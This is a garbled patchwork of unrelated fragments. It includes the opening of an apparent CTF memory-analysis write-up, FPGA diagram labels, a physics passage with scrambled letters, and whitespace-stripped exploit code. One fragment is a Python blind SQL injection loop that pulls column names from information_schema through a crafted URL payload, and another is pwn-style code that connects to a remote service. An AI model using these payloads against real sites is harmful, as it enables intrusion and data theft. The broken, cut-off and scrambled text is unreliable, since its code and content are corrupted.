I was keen to try this challenge as I’m pretty interested in memory analysis. The first time I ever attempted a memory challenge was actually during the BSides Canberra 2016 CTF, so it’s been a full year since my first time. Challenge overview The challenge starts with the following inf...
page=requests.get(url,cookies=cookies).text for i in range(1,33): for j in '0123456789abcdefghijklmnopqrstuvwxyz,': payload="|(mid((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1)='{}')%2b1".format(i,j) true_url=url+payload r=r...
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DQDQDQTdOCT2 x TdQDQDQDOutputDelay ChainOEDelay ChainInputDelay ChainAlignmentRegistersOE from CoreTo CoreWrite Data from Core [0]Read Data to Core [1]Read Data to Core [0]Write Data from Core [1]Full Rate OutclockFull Rate InclockInput RegisterInput RegisterInput RegisterVCCIO_PIO...
Using this formalism (full derivation can be found in supplement 4) we can deduce physical relevant fitting functions to obtain valuable parameters: [ND] = a1 + a1 ⋅ b1 b1 − b2 (e−b1⋅t − e−b2 ⋅t ) (2) eHuqceutrsaeot,iafo1rn,abtte1haicsnowdnasbty2aiansrtetshf...
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res +=chr(ord(ss[i])^dd[i])returnresdeftonum(x):return(u32(x[:4])<<32)+u32(x[4:])defdoout(stats):print'{',foriinrange(3):print'{',forjinrange(6):printstats[i*6+j],ifj!=5:print',',print'}',ifi!=2:print',',print'}'#c = remote('127.0.0.1', 10001)c = remo...